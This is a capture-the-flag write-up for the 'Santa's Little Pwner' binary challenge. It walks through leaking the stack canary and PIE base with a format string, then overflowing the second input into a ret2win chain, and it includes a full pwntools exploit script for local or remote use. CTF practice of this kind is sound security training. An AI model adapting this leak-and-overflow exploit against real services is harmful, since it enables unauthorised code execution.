//Santa's Little Pwner
//Santa's Little Pwner — Writeup
>Challenge Overview
Santa’s Little Pwner is a 64-bit Linux PWN challenge that protects the binary with the usual modern mitigations (Full RELRO, Canary, NX, PIE). It asks to name two elves and prints flavor text about "segfault-colored sparkles," foreshadowing that the second input is where a vulnerability lives. My goal was to understand the binary locally, build a reliable exploit, and then run the exploit against the remote instance at 34.159.68.68:31428.
>Local Triage
- Initial run — Launching the binary immediately prints two prompts for elf names. The first input is echoed by
printf(the flavor text includes the user’s name), while the second is read withfgetsinto a fixed-size buffer. - Security characteristics —
checksecreports Full RELRO, Canary, NX, PIE, but the binary is unstripped, so I can analyze it withobjdump. - Disassembly insight —
name_elf(called twice frommain) is the entry point for the prompts. It usesprintfto describe the elf, thenfgets(..., 0x80)followed by some newline stripping. There is no bounds checking on the second prompt, but a stack canary blocks traditional overflows unless it can be leaked. There is also awinfunction that opensflag.txtand prints the flag, so ret2win is the obvious goal.
>Exploitation Strategy
- Leak the Canary + PIE base: The first
name_elfcall has aprintfthat takes the attacker-controlled input directly, making it a format-string gadget. By sending%23$p.%27$p, I was able to leak both the stack canary and the return address insidemain. The difference between the leakedmainreturn address and the knownmainsymbol gives the PIE base. - Overwrite the return address: The second prompt writes up to 0x80 bytes with
fgets. I overflowed the buffer up to the saved canary, preserved the canary, overwrote saved RBP, then wrote aretgadget followed by the address ofwin. The extraretprevents stack-misalignment crashes when glibc uses instructions likemovaps. - Toolkit: I scripted the exploit in Python with pwntools so the formatting, leaking, and payload-building logic stayed clean. The script can run both locally and remotely; it detects arguments and opens a TCP connection when asked.
>Local Success
Running the script locally gave the message from win:
Ho Ho Ho! Flag: Vianu_CTF{local_test_flag}
That proved the format-string leak + overflow chain works and confirmed that the Canary + PIE calculation is correct.
>Remote Exploitation
Using the same script against the provided remote service at 34.159.68.68:31428 reproduced the process remotely:
- Format string leaks reveal the canary and PIE base.
- Overflowing the second prompt with the aligned ROP chain lands in
win. - The remote service prints the real flag:
Ho Ho Ho! Flag: CTF{wh0_15_4_g00d_b0y_pwn3r}
>Exploit Code
(The full code is in exploit.py.)
#!/usr/bin/env python3
from pwn import *
BIN_PATH = "./santas_little_pwner"
elf = context.binary = ELF(BIN_PATH)
context.terminal = ["bash", "-lc"]
CANARY_SLOT = 23
MAIN_SLOT = 27
BUF_TO_CANARY = 0x48
def start():
if args.REMOTE:
if not args.HOST or not args.PORT:
raise SystemExit("Usage: REMOTE=1 HOST=<host> PORT=<port> ./exploit.py")
return remote(args.HOST, int(args.PORT))
return process(elf.path)
def leak_canary_and_pie_base(io):
io.recvuntil(b"Enter your elf's name: ")
io.sendline(f"%{CANARY_SLOT}$p.%{MAIN_SLOT}$p".encode())
blob = io.recvuntil(b"what a festive name!")
leaked = blob.split(b",", 1)[0]
canary_s, main_s = leaked.split(b".")
canary = int(canary_s, 16)
main_addr = int(main_s, 16)
pie_base = main_addr - elf.symbols["main"]
return canary, pie_base
def build_payload(canary, pie_base):
rop = ROP(elf)
ret_gadget = pie_base + rop.find_gadget(["ret"]).address
win_addr = pie_base + elf.symbols["win"]
payload = flat(
b"A" * BUF_TO_CANARY,
p64(canary),
b"B" * 8,
p64(ret_gadget),
p64(win_addr),
)
return payload
def main():
io = start()
canary, pie_base = leak_canary_and_pie_base(io)
log.info(f"canary = {hex(canary)}")
log.info(f"pie_base = {hex(pie_base)}")
io.recvuntil(b"Enter your elf's name: ")
io.sendline(build_payload(canary, pie_base))
io.interactive()
if __name__ == "__main__":
main()
>References
- Pwntools documentation for connection handling and ROP helpers: https://docs.pwntools.com/
- Standard ret2win exploitation knowledge (stack overflows + canary handling) from previous pwn practice.